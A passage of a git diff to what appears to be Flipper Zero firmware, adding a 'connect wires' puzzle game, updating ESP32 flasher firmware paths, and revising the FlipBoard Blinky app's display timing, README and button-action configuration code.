3, at.y + 3), 4); + canvas_set_color(canvas, ColorBlack); + } + if(count_edges(elem) == 1) { + if(gs->reachable[element.x][element.y]) { + canvas_draw_line(canvas, at.x + 3, at.y + 2, at.x + 6, at.y + 2); + canvas_draw_line(canvas, at.x + 3, at.y + 7, at.x + 6, at.y + 7); + canvas_draw_box(canvas, at.x + 2, at.y + 3, 6, 4); + } else { + canvas_draw_line(canvas, at.x + 3, at.y + 2, at.x + 6, at.y + 2); + canvas_draw_line(canvas, at.x + 3, at.y + 7, at.x + 6, at.y + 7); + canvas_draw_line(canvas, at.x + 2, at.y + 3, at.x + 2, at.y + 6); + canvas_draw_line(canvas, at.x + 7, at.y + 3, at.x + 7, at.y + 6); + canvas_set_color(canvas, ColorWhite); + canvas_draw_box(canvas, at.x + 3, at.y + 3, 4, 4); + canvas_set_color(canvas, ColorBlack); + canvas_draw_dot(canvas, at.x + 3, at.y + 3); + canvas_draw_dot(canvas, at.x + 6, at.y + 6); + canvas_draw_dot(canvas, at.x + 3, at.y + 6); + canvas_draw_dot(canvas, at.x + 6, at.y + 3); + } + } + if(eqCoord(&element, &gs->currentSelection)) { + draw_selection(canvas, at, 10, 3); + } +} + +uint8_t determine_element_size(Coord fieldSize) { + const uint8_t availableSizes[] = {12, 10}; + uint8_t n = sizeof(availableSizes) / sizeof(availableSizes[0]); + for(uint8_t i = 0; i < n; ++i) { + if(SCREEN_WIDTH / availableSizes[i] >= fieldSize.x && + SCREEN_HIGHT / availableSizes[i] >= fieldSize.y) { + return availableSizes[i]; + } + } + return availableSizes[n - 1]; +} + +void draw_grid(Canvas* canvas, GameState* gs, uint8_t elementSize) { + Coord startCorner = createCoord( + SCREEN_WIDTH / 2 - gs->fieldSize.x * elementSize / 2, + SCREEN_HIGHT / 2 - gs->fieldSize.y * elementSize / 2); + for(uint8_t i = 0; i < gs->fieldSize.x; ++i) { + for(uint8_t j = 0; j < gs->fieldSize.y; ++j) { + if(elementSize == 10) { + draw_grid_element_size10( + canvas, + createCoord(startCorner.x + i * 10, startCorner.y + j * 10), + createCoord(i, j), + gs); + } else if(elementSize == 12) { + draw_grid_element_size12( + canvas, + createCoord(startCorner.x + i * 12, startCorner.y + j * 12), + createCoord(i, j), + gs); + } + } + } +} + +void draw_menu(Canvas* canvas, const MenuEntry* menu, uint8_t selectedIndex) { + const uint8_t DLT_FRAME = 2; + uint8_t nitems = menuSize(menu); + canvas_set_font(canvas, FontSecondary); + int item_h = canvas_current_font_height(canvas); + int max_width = 0; + for(uint8_t i = 0; i < nitems; ++i) { + int w = canvas_string_width(canvas, menu[i].text); + if(w > max_width) { + max_width = w; + } + } + max_width += 2; + for(uint8_t i = 0; i < nitems; ++i) { + canvas_set_color(canvas, ColorBlack); + if(i == selectedIndex) { + canvas_draw_box( + canvas, + SCREEN_WIDTH / 2 - max_width / 2, + SCREEN_HIGHT / 2 - item_h * nitems / 2 + i * item_h, + max_width, + item_h); + } + canvas_set_color(canvas, i == selectedIndex ? ColorWhite : ColorBlack); + canvas_draw_str_aligned( + canvas, + SCREEN_WIDTH / 2, + SCREEN_HIGHT / 2 - item_h * nitems / 2 + i * item_h + item_h / 2, + AlignCenter, + AlignCenter, + menu[i].text); + } + canvas_set_color(canvas, ColorBlack); + canvas_draw_rframe( + canvas, + SCREEN_WIDTH / 2 - max_width / 2 - DLT_FRAME, + SCREEN_HIGHT / 2 - item_h * nitems / 2 - DLT_FRAME, + max_width + DLT_FRAME * 2, + item_h * nitems + DLT_FRAME * 2, + 2); +} + +void draw_about(Canvas* canvas) { + uint8_t nitems = 0; + while(AboutStrings[nitems] != NULL) ++nitems; + canvas_set_font(canvas, FontSecondary); + int item_h = canvas_current_font_height(canvas); + int max_width = 0; + for(uint8_t i = 0; i < nitems; ++i) { + int w = canvas_string_width(canvas, AboutStrings[i]); + if(w > max_width) { + max_width = w; + } + } + canvas_set_color(canvas, ColorBlack); + for(uint8_t i = 0; i < nitems; ++i) { + canvas_set_font(canvas, i == 0 ? FontPrimary : FontSecondary); + canvas_draw_str_aligned( + canvas, + SCREEN_WIDTH / 2 - max_width / 2, + SCREEN_HIGHT / 2 - item_h * nitems / 2 + i * item_h + item_h / 2, + AlignLeft, + AlignCenter, + AboutStrings[i]); + } +} + +void draw_winning(Canvas* canvas) { + canvas_set_font(canvas, FontPrimary); + int w = canvas_string_width(canvas, WINNING_MESSAGE); + int h = canvas_current_font_height(canvas); + const int paddingV = 2; + const int paddingH = 4; + + canvas_set_color(canvas, ColorWhite); + canvas_draw_box( + canvas, + SCREEN_WIDTH / 2 - w / 2 - paddingH, + SCREEN_HIGHT / 2 - h / 2 - paddingV, + w + paddingH * 2, + h + paddingV * 2); + canvas_set_color(canvas, ColorBlack); + canvas_draw_rframe( + canvas, + SCREEN_WIDTH / 2 - w / 2 - paddingH, + SCREEN_HIGHT / 2 - h / 2 - paddingV, + w + paddingH * 2, + h + paddingV * 2, + 2); + canvas_draw_str_aligned( + canvas, SCREEN_WIDTH / 2, SCREEN_HIGHT / 2, AlignCenter, AlignCenter, WINNING_MESSAGE); +} + +static void game_draw_callback(Canvas* canvas, void* ctx) { + AppState* appState = (AppState*)ctx; + furi_mutex_acquire(appState->mutex, FuriWaitForever); + GameState* gs = &appState->gameState; + + canvas_clear(canvas); + if(appState->status == ST_PLAYING) { + draw_grid(canvas, gs, determine_element_size(gs->fieldSize)); + } else if(appState->status == ST_WINNING) { + draw_grid(canvas, gs, determine_element_size(gs->fieldSize)); + draw_winning(canvas); + } else if(appState->status == ST_MAIN_MENU) { + draw_menu(canvas, MainMenu, appState->currentMenuSelection); + } else if(appState->status == ST_SELECTION_MENU) { + draw_menu(canvas, SelectionMenu, appState->currentMenuSelection); + } else if(appState->status == ST_ABOUT) { + draw_about(canvas); + } + + furi_mutex_release(appState->mutex); +} + +static void game_input_callback(InputEvent* input_event, void* ctx) { + furi_assert(ctx); + FuriMessageQueue* event_queue = ctx; + + furi_message_queue_put(event_queue, input_event, FuriWaitForever); +} + +uint8_t add_delta_looped(uint8_t idx, uint8_t nitems, int8_t delta) { + int8_t v = (int8_t)idx; + v += delta; + while(v < 0) v += nitems; + v %= nitems; + return (uint8_t)v; +} + +Coord get_field_size(uint8_t menuId) { + if(menuId == MN_EASY) { + return createCoord(5, 5); + } else if(menuId == MN_MEDIUM) { + return createCoord(10, 5); + } else if(menuId == MN_HARD) { + return createCoord(12, 6); + } + furi_assert(0); + return createCoord(0, 0); +} + +int32_t flipper_game_connect_wires(void* p) { + UNUSED(p); + furi_assert((uint16_t)MAX_FIELD_WIDTH * MAX_FIELD_HEIGHT < 256); + + InputEvent event; + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); + + // Configure view port + ViewPort* view_port = view_port_alloc(); + + AppState* appState = malloc(sizeof(AppState)); + appState->gameState.fieldSize = createCoord(0, 0); + appState->status = ST_MAIN_MENU; + + // temp + //appState->status = ST_MAIN_MENU; + //appState->currentMenuSelection = 0; + // temp end + + view_port_draw_callback_set(view_port, game_draw_callback, appState); + view_port_input_callback_set(view_port, game_input_callback, event_queue); + + // Register view port in GUI + Gui* gui = furi_record_open(RECORD_GUI); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); + + while(1) { + furi_check(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk); + + if(event.type != InputTypePress) continue; + + furi_mutex_acquire(appState->mutex, FuriWaitForever); + + if(appState->status == ST_PLAYING) { + if(event.key == InputKeyBack) { + appState->currentMenuSelection = 0; + appState->status = ST_MAIN_MENU; + } else if(event.key == InputKeyLeft) { + moveSelection(&appState->gameState, DIR_LEFT); + } else if(event.key == InputKeyRight) { + moveSelection(&appState->gameState, DIR_RIGHT); + } else if(event.key == InputKeyUp) { + moveSelection(&appState->gameState, DIR_TOP); + } else if(event.key == InputKeyDown) { + moveSelection(&appState->gameState, DIR_BOTTOM); + } else if(event.key == InputKeyOk) { + rotateSelection(&appState->gameState); + recalculateReachables(&appState->gameState); + if(checkIsWinning(&appState->gameState)) { + appState->status = ST_WINNING; + notification_message_block(notification, &sequence_winning); + } + } + } else if(appState->status == ST_WINNING) { + appState->gameState.fieldSize = createCoord(0, 0); + appState->status = ST_MAIN_MENU; + appState->currentMenuSelection = 0; + } else if(appState->status == ST_MAIN_MENU) { + int sz = menuSize(MainMenu); + if(event.key == InputKeyBack) { + if(appState->gameState.fieldSize.x == 0 && appState->gameState.fieldSize.y == 0) { + break; + } + appState->status = ST_PLAYING; + } else if(event.key == InputKeyUp) { + appState->currentMenuSelection = + add_delta_looped(appState->currentMenuSelection, sz, -1); + } else if(event.key == InputKeyDown) { + appState->currentMenuSelection = + add_delta_looped(appState->currentMenuSelection, sz, 1); + } else if(event.key == InputKeyOk) { + uint8_t id = MainMenu[appState->currentMenuSelection].id; + if(id == MN_NEWGAME) { + appState->status = ST_SELECTION_MENU; + appState->currentMenuSelection = 0; + } else if(id == MN_ABOUT) { + appState->status = ST_ABOUT; + } else if(id == MN_EXIT) { + break; + } + } + } else if(appState->status == ST_SELECTION_MENU) { + int sz = menuSize(SelectionMenu); + if(event.key == InputKeyBack) { + appState->status = ST_MAIN_MENU; + appState->currentMenuSelection = 0; + } else if(event.key == InputKeyUp) { + appState->currentMenuSelection = + add_delta_looped(appState->currentMenuSelection, sz, -1); + } else if(event.key == InputKeyDown) { + appState->currentMenuSelection = + add_delta_looped(appState->currentMenuSelection, sz, 1); + } else if(event.key == InputKeyOk) { + uint8_t id = SelectionMenu[appState->currentMenuSelection].id; + appState->gameState = createNewGameState(get_field_size(id)); + shuffle(&appState->gameState); + recalculateReachables(&appState->gameState); + appState->status = ST_PLAYING; + } + } else if(appState->status == ST_ABOUT) { + // Any key goes back. + appState->status = ST_MAIN_MENU; + appState->currentMenuSelection = 0; + } + + furi_mutex_release(appState->mutex); + } + + free(appState); + + furi_message_queue_free(event_queue); + + gui_remove_view_port(gui, view_port); + view_port_free(view_port); + furi_record_close(RECORD_GUI); + furi_record_close(RECORD_NOTIFICATION); + + return 0; +} diff --git a/applications/external/connect_wires/flipper_game_connect_wires_10x.png b/applications/external/connect_wires/flipper_game_connect_wires_10x.png new file mode 100644 index 00000000000..6dafac8cb29 Binary files /dev/null and b/applications/external/connect_wires/flipper_game_connect_wires_10x.png differ diff --git a/applications/external/connect_wires/screenshots/1.png b/applications/external/connect_wires/screenshots/1.png new file mode 100644 index 00000000000..ff13c725c70 Binary files /dev/null and b/applications/external/connect_wires/screenshots/1.png differ diff --git a/applications/external/connect_wires/screenshots/2.png b/applications/external/connect_wires/screenshots/2.png new file mode 100644 index 00000000000..fc77d6b7754 Binary files /dev/null and b/applications/external/connect_wires/screenshots/2.png differ diff --git a/applications/external/connect_wires/screenshots/3.png b/applications/external/connect_wires/screenshots/3.png new file mode 100644 index 00000000000..686697193de Binary files /dev/null and b/applications/external/connect_wires/screenshots/3.png differ diff --git a/applications/external/espflasher/scenes/esp_flasher_scene_quick.c b/applications/external/espflasher/scenes/esp_flasher_scene_quick.c index 2ba3526bc8d..56b72b06fed 100644 --- a/applications/external/espflasher/scenes/esp_flasher_scene_quick.c +++ b/applications/external/espflasher/scenes/esp_flasher_scene_quick.c @@ -107,14 +107,15 @@ bool esp_flasher_scene_quick_on_event(void* context, SceneManagerEvent event) { boot = APP_DATA_PATH("assets/marauder/WifidevS2/esp32_marauder.ino.bootloader.bin"); part = APP_DATA_PATH("assets/marauder/esp32_marauder.ino.partitions.bin"); app0 = APP_DATA_PATH("assets/marauder/boot_app0.bin"); - firm = APP_DATA_PATH("assets/marauder/WifidevS2/esp32_marauder_flipper_sd_serial.bin"); + firm = APP_DATA_PATH("assets/marauder/WifidevS2/esp32_marauder.flipper.bin"); enter_bootloader = true; break; case QuickDevproWroomMarauder: boot = APP_DATA_PATH("assets/marauder/DevproWroom/esp32_marauder.ino.bootloader.bin"); part = APP_DATA_PATH("assets/marauder/esp32_marauder.ino.partitions.bin"); app0 = APP_DATA_PATH("assets/marauder/boot_app0.bin"); - firm = APP_DATA_PATH("assets/marauder/DevproWroom/esp32_marauder_dev_board_pro.bin"); + firm = APP_DATA_PATH( + "assets/marauder/DevproWroom/esp32_marauder.marauder_dev_board_pro.bin"); break; default: flash = false; diff --git a/applications/external/flipblinky/README.md b/applications/external/flipblinky/README.md index 77704ae87bf..0c731f38b39 100644 --- a/applications/external/flipblinky/README.md +++ b/applications/external/flipblinky/README.md @@ -31,3 +31,7 @@ Find `flipboard_reset_effect` and scroll to the bottom of the function, just bef If you choose to have a different effect than just scrolling, find `flipboard_do_effect` and scroll the the bottom of the function, just before the `default:` statement. You will want to add your new case statement here. The case number **must match** the number you used in `flipboard_reset_effect`. If you need to define variables, be sure to wrap your code in `{ ... }`. Your routine should set fbm->colors[0..3] to the correct hex RGB values. + +## Updates + +- Version 2.1 : Overlay message displays when buttons are clicked for a couple seconds. \ No newline at end of file diff --git a/applications/external/flipblinky/app.c b/applications/external/flipblinky/app.c index 2be25cc14fb..66a05c439b3 100644 --- a/applications/external/flipblinky/app.c +++ b/applications/external/flipblinky/app.c @@ -5,6 +5,13 @@ #include #include +// The screen only refreshes a few times a second, so this is the minimum time the message +// will be displayed after an action. +#define MESSAGE_DISPLAY_TIME_MS 1900 + +// The effect to initially use when the "Flipboard Blinky" view is shown. +#define INITIAL_EFFECT_ID 2 + /** * @brief This method handles Flipper D-Pad input when in the FlipboardBlinky mode. * @param _event The InputEvent* to handle. @@ -28,7 +35,8 @@ void flipboard_view_flip_keyboard_draw(Canvas* canvas, void* model) { canvas_draw_icon(canvas, 1, 1, &I_nametag); FlipboardBlinkyModel* fbm = flipboard_model_get_custom_data(my_model->model); - if(fbm->show_details_counter > 0) { + + if(fbm->show_details_until && (furi_get_tick() < fbm->show_details_until)) { canvas_set_color(canvas, ColorWhite); canvas_draw_box(canvas, 0, 48, 128, 64 - 48); canvas_set_color(canvas, ColorBlack); @@ -42,7 +50,6 @@ void flipboard_view_flip_keyboard_draw(Canvas* canvas, void* model) { canvas_set_font(canvas, FontSecondary); canvas_draw_str(canvas, 1, 61, furi_string_get_cstr(str)); furi_string_free(str); - fbm->show_details_counter--; } } @@ -109,9 +116,9 @@ void flipboard_reset_effect(FlipboardModel* model) { } if(fbm->effect_id == 1) { - backlight_off(); + flipboard_model_set_backlight(model, false); } else { - backlight_on(); + flipboard_model_set_backlight(model, true); } } @@ -186,50 +193,55 @@ void flipboard_debounced_switch(void* context, uint8_t old_key, uint8_t new_key) Flipboard* app = (Flipboard*)context; FlipboardModel* model = flipboard_get_model(app); uint8_t reduced_new_key = flipboard_model_reduce(model, new_key, false); - uint32_t detail_counter_ticks = 20; + uint32_t detail_counter_ticks = furi_get_tick() + MESSAGE_DISPLAY_TIME_MS; FURI_LOG_D(TAG, "SW EVENT: old=%d new=%d reduced=%d", old_key, new_key, reduced_new_key); FlipboardBlinkyModel* fbm = flipboard_model_get_custom_data(model); - if((new_key == 1) || (new_key == 3)) { - // Faster by 5ms + if((new_key == (1 | 0 | 0 | 0)) || (new_key == (1 | 2 | 0 | 0))) { + // Faster by 5ms is left button pressed. Faster by 20ms if both (button 1+button 2) pressed. uint32_t delay = (new_key == 1) ? 5 : 20; if(fbm->period_ms > delay) { fbm->period_ms -= delay; + + // Don't go faster than 50ms if(fbm->period_ms < 50) { fbm->period_ms = 50; } + furi_timer_start(fbm->timer, furi_ms_to_ticks(fbm->period_ms)); - fbm->show_details_counter = detail_counter_ticks; + fbm->show_details_until = detail_counter_ticks; } - } else if(new_key == 2) { + } else if(new_key == (0 | 2 | 0 | 0)) { // Slower by 20ms uint32_t delay = 20; fbm->period_ms += delay; furi_timer_start(fbm->timer, furi_ms_to_ticks(fbm->period_ms)); - fbm->show_details_counter = detail_counter_ticks; - } else if(new_key == 4) { + fbm->show_details_until = detail_counter_ticks; + } else if(new_key == (0 | 0 | 4 | 0)) { // Previous effect fbm->effect_id--; if(fbm->effect_id < 1) { fbm->effect_id = fbm->max_effect_id; } - fbm->show_details_counter = detail_counter_ticks; + fbm->show_details_until = detail_counter_ticks; flipboard_reset_effect(model); - } else if(new_key == 8) { + } else if(new_key == (0 | 0 | 0 | 8)) { // Next effect fbm->effect_id++; if(fbm->effect_id > fbm->max_effect_id) { fbm->effect_id = 1; } - fbm->show_details_counter = detail_counter_ticks; + fbm->show_details_until = detail_counter_ticks; flipboard_reset_effect(model); - } else if(new_key == 12) { - // Our first effect is off. + } else if(new_key == (0 | 0 | 4 | 8)) { + // Switch to our first effect ("off" when both right buttons are pressed). fbm->effect_id = 1; - fbm->show_details_counter = detail_counter_ticks; + fbm->show_details_until = detail_counter_ticks; flipboard_reset_effect(model); } + + flipboard_model_update_gui(model); } /** @@ -249,11 +261,11 @@ void flipboard_tick_callback(void* context) { void flipboard_enter_callback(void* context) { FlipboardModel* fm = flipboard_get_model((Flipboard*)context); FlipboardBlinkyModel* fbm = flipboard_model_get_custom_data(fm); - fbm->effect_id = 2; + fbm->effect_id = INITIAL_EFFECT_ID; flipboard_reset_effect(fm); flipboard_model_set_button_monitor(fm, flipboard_debounced_switch, (Flipboard*)context); furi_timer_start(fbm->timer, furi_ms_to_ticks(fbm->period_ms)); - flipboard_model_set_gui_refresh_speed_ms(fm, 0); + flipboard_model_set_gui_refresh_speed_ms(fm, 500); } /** @@ -301,7 +313,7 @@ FlipboardBlinkyModel* flipboard_blinky_model_alloc(FlipboardModel* context) { fbm->period_ms = 200; fbm->effect_id = 1; fbm->max_effect_id = 6; - fbm->show_details_counter = 0; + fbm->show_details_until = 0; return fbm; } @@ -325,8 +337,6 @@ void flipboard_blinky_model_free(FlipboardBlinkyModel* fbm) { static void loaded_app_menu(FlipboardModel* model) { static bool initial_load = true; FlipboardLeds* leds = flipboard_model_get_leds(model); - UNUSED(color_names); - UNUSED(color_values); if(initial_load) { for(int i = 0; i < 2; i++) { flipboard_leds_set(leds, LedId1, LedColorRed); @@ -384,10 +394,8 @@ static bool custom_event_handler(void* context, uint32_t event) { */ int32_t flipboard_blinky_app(void* _p) { UNUSED(_p); - furi_check(COUNT_OF(color_names)); - furi_check(COUNT_OF(color_values)); - ButtonModelFields fields = ButtonModelFieldNone; + ActionModelFields fields = ActionModelFieldNone; bool single_mode_button = true; bool attach_keyboard = false; @@ -412,11 +420,11 @@ int32_t flipboard_blinky_app(void* _p) { FlipboardModel* model = flipboard_get_model(app); FlipboardBlinkyModel* fbm = flipboard_blinky_model_alloc(model); flipboard_model_set_custom_data(model, fbm); - fbm->effect_id = 2; - flipboard_reset_effect(model); + view_dispatcher_set_event_callback_context(flipboard_get_view_dispatcher(app), app); view_dispatcher_set_custom_event_callback( flipboard_get_view_dispatcher(app), custom_event_handler); + view_dispatcher_run(flipboard_get_view_dispatcher(app)); flipboard_blinky_model_free(fbm); diff --git a/applications/external/flipblinky/app.h b/applications/external/flipblinky/app.h index 646629fe212..f60d98297cf 100644 --- a/applications/external/flipblinky/app.h +++ b/applications/external/flipblinky/app.h @@ -9,9 +9,9 @@ #include #include +#include "./common/action_config.h" #include "./common/app_menu.h" #include "./common/backlight.h" -#include "./common/button_config.h" #include "./common/button_monitor.h" #include "./common/config_colors.h" #include "./common/custom_event.h" @@ -30,5 +30,5 @@ typedef struct FlipboardBlinkyModel { uint8_t effect_counter; uint8_t effect_id; uint8_t max_effect_id; - uint32_t show_details_counter; + uint32_t show_details_until; } FlipboardBlinkyModel; diff --git a/applications/external/flipblinky/app_config.h b/applications/external/flipblinky/app_config.h index ae558e0c284..42e4eed226e 100644 --- a/applications/external/flipblinky/app_config.h +++ b/applications/external/flipblinky/app_config.h @@ -9,8 +9,9 @@ #define ABOUT_TEXT \ "Welcome to the Flipboard\n" \ - "blinky! Optimized for\n" \ - "FlipBoard v1.1 hardware --\n" \ + "blinky v2.1!\n\n" \ + "Optimized for FlipBoard \n" \ + "hardware --\n" \ "see link below to order!\n" \ "Created by @MakeItHackin\n" \ "and @CodeAllNight!\n" \ diff --git a/applications/external/flipblinky/application.fam b/applications/external/flipblinky/application.fam index 25a35e54cbb..3a93774ae9e 100644 --- a/applications/external/flipblinky/application.fam +++ b/applications/external/flipblinky/application.fam @@ -12,6 +12,6 @@ App( fap_icon_assets="assets", fap_author="jamisonderek", fap_weburl="https://github.com/jamisonderek/flipboard", - fap_version=(1, 0), + fap_version=(2, 1), fap_description="FlipBoard Blinky turns your FlipBoard into a blinky badge.", ) diff --git a/applications/external/flipblinky/common/README.md b/applications/external/flipblinky/common/README.md index 6597e3dbf53..7dac286e747 100644 --- a/applications/external/flipblinky/common/README.md +++ b/applications/external/flipblinky/common/README.md @@ -4,23 +4,23 @@ This repository contains common code used by Flipboard projects. Please let us File names are prefixed with the component name, e.g. `app_menu_i.h` is the private header for the `app_menu` component, while `app_menu.h` is the public header. -## app_menu +## action_config -The AppMenu module is used to create and show the main application menu. +The ActionConfig module is used to configure the actions (what happens when a the buttons are pressed) on the flipboard. -## backlight +## action_model -The Backlight module is responsible for controlling the backlight. You can turn the backlight on, off, or force it off. +This ActionModel type is used to store the settings for a action. For example the color, frequency, message, and keystrokes to use when an action occurs (like pressing button 2+4). -## button_config +- _TODO: Should this allow for extra data to be stored with the action?_ -The ButtonConfig module is used to configure the buttons on the flipboard. +## app_menu -## button_model +The AppMenu module is used to create and show the main application menu. -This ButtonModel type is used to store the settings for a button. For example the color, frequency, message, and keystrokes to use when a button is pressed. +## backlight -- _TODO: Should this allow for extra data to be stored with the button?_ +The Backlight module is responsible for controlling the backlight. You can turn the backlight on or off. ## button_monitor @@ -38,6 +38,10 @@ config_keystroke.h contains the configuration of the keystrokes. You can add ne config_tones.h contains the configuration of the tones. The tones are a set of frequencies that can be played on the buzzer. The tones (in Hz) are defined in the tone_values array. The index of the tone in this array is the same as the index of the tone in the tone_names array. +## custom_event + +custom_event.h contains the enumeration of custom events that can be sent. + ## flipboard Typically you will create a Flipboard application in your main function like this: @@ -61,6 +65,10 @@ The FlipboardModel contains all the data needed for the flipboard application. FlipboardModelRef is a reference to a FlipboardModel, used to pass a FlipboardModel to UI components that cant take a pointer to an existing FlipboardModel. +## infrared_signal + +The InfraredSignal module is used to send IR signals using the IR LED on the Flipper. + ## keyboard A Keyboard module is used to send key codes to the host using the USB cable connected to the Flipper Zero. @@ -69,6 +77,10 @@ A Keyboard module is used to send key codes to the host using the USB cable conn The KeystrokeSelector module is used to select a keystroke. The view will display a grid of keys. The user can scroll through the keys using the dpad buttons. The user can select a key by pressing the OK button. The view will call a callback when a key is selected. +## led_driver + +The LedDriver module is used to control the addressable LEDs on the flipboard using the timer API. This API is used by the leds module. + ## leds The Leds module is used to control the addressable LEDs on the flipboard, and also the status LED. @@ -79,4 +91,8 @@ The MenuCallback module is used to return a specific view id from ViewNavigation ## speaker -The Speaker module is used to play tones on the internal Flipper Zero speaker. \ No newline at end of file +The Speaker module is used to play tones on the internal Flipper Zero speaker. + +## subshz_signal + +The SubghzSignal module is used to send subghz signals using the subghz radio on the Flipper Zero. \ No newline at end of file diff --git a/applications/external/flipblinky/common/action_config.c b/applications/external/flipblinky/common/action_config.c new file mode 100644 index 00000000000..a6c5d58c278 --- /dev/null +++ b/applications/external/flipblinky/common/action_config.c @@ -0,0 +1,712 @@ +#include "action_config_i.h" + +/** + * @brief color_up_changed is called when the color up setting is changed. + * @param item The VariableItem that was changed. + */ +static void color_up_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + action_model_set_color_up(action_model, color_values[index]); + variable_item_set_current_value_text(item, color_names[index]); +} + +/** + * @brief color_down_changed is called when the color down setting is changed. + * @param item The VariableItem that was changed. + */ +static void color_down_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + action_model_set_color_down(action_model, color_values[index]); + variable_item_set_current_value_text(item, color_names[index]); +} + +/** + * @brief tone_changed is called when the tone setting is changed. + * @param item The VariableItem that was changed. + */ +static void tone_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + action_model_set_frequency(action_model, tone_values[index]); + variable_item_set_current_value_text(item, tone_names[index]); +} + +/** + * @brief Returns keystroke index for the selected keystroke. + * @details maps a menu item index into to keystroke index. Determining the + * index relies on the fact that the menu items are added in the order of + * Keystroke, Count, Keystroke, Count, etc. and then finally Add Keystroke. + * @param action_model The ActionModel. + * @return The keystroke index +*/ +static uint8_t keystroke_item_index(ActionModel* action_model) { + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + uint8_t add_item_index = action_model_get_keystroke_index(action_model); + uint8_t count = action_model_get_keystrokes_count(action_model); + uint8_t offset = add_item_index - (count * 2); + uint8_t selected_item_index = + variable_item_list_get_selected_item_index(action_config->item_list); + uint8_t item_index = (selected_item_index - offset) / 2; + FURI_LOG_D(TAG, "item_index=%d", item_index); + return item_index; +} + +/** + * @brief keystroke_changed is called when the keystroke setting is changed. + * @details keystroke_changed is called when the keystroke setting is changed using + * the left/right buttons. It updates the ActionModel with the new keystroke. + * @param item The VariableItem that was changed. + */ +static void keystroke_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + uint8_t item_index = keystroke_item_index(action_model); + Keystroke ks = action_model_get_keystroke(action_model, item_index); + FURI_LOG_D(TAG, "ks.button_code=%d .count=%d", ks.button_code, ks.count); + action_model_set_keystroke(action_model, item_index, keystroke_values[index], ks.count); + variable_item_set_current_value_text(item, keystroke_names[index]); +} + +/** + * @brief keystroke_count_changed is called when the keystroke count setting is changed. + * @param item The VariableItem that was changed. +*/ +static void keystroke_count_changed(VariableItem* item) { + ActionModel* action_model = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + uint8_t item_index = keystroke_item_index(action_model); + Keystroke ks = action_model_get_keystroke(action_model, item_index); + FURI_LOG_D(TAG, "ks.button_code=%d .count=%d", ks.button_code, ks.count); + action_model_set_keystroke(action_model, item_index, ks.button_code, index); + variable_item_set_current_value_text(item, keystroke_count_names[index]); +} + +/** + * @brief populate_variable_item_list_color adds a color configuration. + * @details populate_variable_item_list_color adds a color configuration. It + * adds a VariableItem (config) to the VariableItemList. It sets the current + * value index to the index of the color passed in, if it finds a match. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. + * @param label The label for the setting. + * @param callback The callback for when the setting is changed. + * @param initial_color The initial color in HEX to default to (RRGGBB). +*/ +static void populate_variable_item_list_color( + ActionConfig* action_config, + ActionModel* action_model, + char* label, + VariableItemChangeCallback callback, + uint32_t initial_color) { + VariableItem* item = variable_item_list_add( + action_config->item_list, label, COUNT_OF(color_names), callback, action_model); + uint8_t index = 0; + for(size_t i = 0; i < COUNT_OF(color_values); i++) { + if(initial_color == color_values[i]) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, color_names[index]); +} + +/** + * @brief populate_variable_item_list_frequency adds a frequency configuration. + * @details populate_variable_item_list_frequency adds a frequency configuration. + * It sets the current value index to the index of the frequency passed in, if + * it finds a match. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. + * @param label The label for the setting. + * @param callback The callback for when the setting is changed. + * @param frequency The initial frequency to default to. +*/ +static void populate_variable_item_list_frequency( + ActionConfig* action_config, + ActionModel* action_model, + char* label, + VariableItemChangeCallback callback, + float frequency) { + VariableItem* item = variable_item_list_add( + action_config->item_list, label, COUNT_OF(tone_names), callback, action_model); + uint8_t index = 0; + for(size_t i = 0; i < COUNT_OF(tone_values); i++) { + float diff = frequency - tone_values[i]; + if(diff < 0.0f) diff = -diff; + if(diff < 1.0f) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, tone_names[index]); +} + +/** + * @brief populate_variable_item_list_keystrokes adds keystroke and count configurations. + * @param action_config The ActionConfig. + * @param action_model The ActionModel. + * @return The number of lines added. +*/ +static uint8_t + populate_variable_item_list_keystrokes(ActionConfig* action_config, ActionModel* action_model) { + uint8_t lines_added = 0; + + uint8_t count = action_model_get_keystrokes_count(action_model); + + for(int j = 0; j < count; j++) { + Keystroke ks = action_model_get_keystroke(action_model, j); + FURI_LOG_D("Flipboard", "POPULATE ks.button_code=%d .count=%d", ks.button_code, ks.count); + + VariableItem* item = variable_item_list_add( + action_config->item_list, + "Keystroke", + COUNT_OF(keystroke_names), + keystroke_changed, + action_model); + lines_added++; + uint8_t index = 0; + for(size_t i = 0; i < COUNT_OF(keystroke_names); i++) { + if(keystroke_values[i] == ks.button_code) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, keystroke_names[index]); + + item = variable_item_list_add( + action_config->item_list, + "Count", + COUNT_OF(keystroke_count_names), + keystroke_count_changed, + action_model); + lines_added++; + index = COUNT_OF(keystroke_count_names) - 1; + for(size_t i = 0; i < COUNT_OF(keystroke_count_names); i++) { + if(i == ks.count) { + index = i; + break; + } + } + variable_item_set_current_value_index(item, index); + variable_item_set_current_value_text(item, keystroke_count_names[index]); + } + + return lines_added; +} + +/** + * @brief message_updated is called when the text message is updated. + * @param context The ActionModel. + * @param index The index of the message that was updated. + */ +static void message_updated(void* context, uint8_t index) { + ActionModel* action_model = (ActionModel*)context; + ActionConfig* action_config = (ActionConfig*)action_model_get_action_config(action_model); + furi_assert(action_config); + action_model_set_message(action_model, action_model_get_temp_buffer(action_model), index); + view_dispatcher_switch_to_view( + action_config->view_dispatcher, action_config->view_item_list_id); +} + +/** + * @brief message_updated is called when the text message 1 is updated. + * @param context The ActionModel. + */ +static void message1_updated(void* context) { + message_updated(context, 0); +} + +/** + * 